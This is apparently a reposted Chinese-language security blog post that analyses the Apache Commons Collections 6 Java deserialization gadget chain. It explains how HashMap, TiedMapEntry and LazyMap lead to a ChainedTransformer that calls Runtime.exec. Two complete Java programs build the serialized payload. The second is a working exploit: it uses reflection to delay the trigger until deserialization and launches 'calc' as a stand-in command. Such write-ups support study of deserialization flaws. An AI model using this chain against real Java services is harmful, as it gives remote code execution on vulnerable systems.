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CommonCollections6链分析

news 2025/8/9 8:39:44

前面和CC1一样
优点是不限制jdk版本和cc的版本

先开一个ChainedTransformer
在这里插入图片描述
然后创LazyMap 我们顺便执行一下避免上面写错

能弹计算器没问题
后面就是CC6不同的地方了

我们需要一个TiedMapEntry
因为需要一个类调用了get方法
在TiedMapEntry的getValue()方法中调用了get() 其中map和key都可控
在这里插入图片描述

那么我们就需要一个类调用getValue方法 TiedMapEntry的hashCode方法就可以

然后类似URLDNS的链子我们可以知道这里可以用HashMap连上
HashMap的readObject方法会调用hashCode
在这里插入图片描述

至此链子结束我们可以写出如下代码

package org.example.CC6;import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;import java.io.*;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;public class Main {public static   void main(String[] args) throws ClassNotFoundException, IOException, NoSuchFieldException, IllegalAccessException {Transformer[] transformers = new Transformer[]{new ConstantTransformer(Runtime.class),new InvokerTransformer("getMethod",new Class[]{String.class, Class[].class}, new Object[]{"getRuntime",null}),new InvokerTransformer("invoke",new Class[]{Object.class, Object[].class},new Object[]{null,null}),new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})};ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);Map map = new HashMap();Map lazyMap = LazyMap.decorate(map,chainedTransformer);TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap,"xxx");Map map2 = new HashMap();map2.put(tiedMapEntry,"ccc");serialize(map2);unSerialize("ser.bin");}public static void serialize(Object obj) throws IOException {ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));oos.writeObject(obj);}public static Object unSerialize(String path) throws IOException, ClassNotFoundException {ObjectInputStream ois = new ObjectInputStream(new FileInputStream(path));return ois.readObject();}
}

尝试执行发现确实能弹计算器
但是这里存在和URLDNS一样的问题 , 就是这个计算器弹的时机是在map2.put的时候
而不是我们期望的反序列化的时候

原因是HashMap在put的时候已经给整条链走完了
在这里插入图片描述

因为这里的key != null 所以继续进了hashCode

LazyMap调用get

然后没有key put进去了在后面反序列化的时候就有key了
有key就直接return map.get(key)了

为了避免这种情况我们需要让最开始传入的东西不能形成链子就是说改LazyMap 改 TiedMapEntry 之类的的都行,只要不在反序列化前弹计算器就行
然后要记得给put进来的key remove掉
于是最终代码如下

package org.example.CC6;import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;import java.io.*;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;public class Main {public static   void main(String[] args) throws ClassNotFoundException, IOException, NoSuchFieldException, IllegalAccessException {Transformer[] transformers = new Transformer[]{new ConstantTransformer(Runtime.class),new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})};ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);Map map = new HashMap();Map lazyMap = LazyMap.decorate(map, new ConstantTransformer(1));TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "xxx");Map map2 = new HashMap();map2.put(tiedMapEntry, "ccc");lazyMap.remove("xxx");Field field = LazyMap.class.getDeclaredField("factory");field.setAccessible(true);field.set(lazyMap, chainedTransformer);serialize(map2);unSerialize("ser.bin");}public static void serialize(Object obj) throws IOException {ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));oos.writeObject(obj);}public static Object unSerialize(String path) throws IOException, ClassNotFoundException {ObjectInputStream ois = new ObjectInputStream(new FileInputStream(path));return ois.readObject();}
}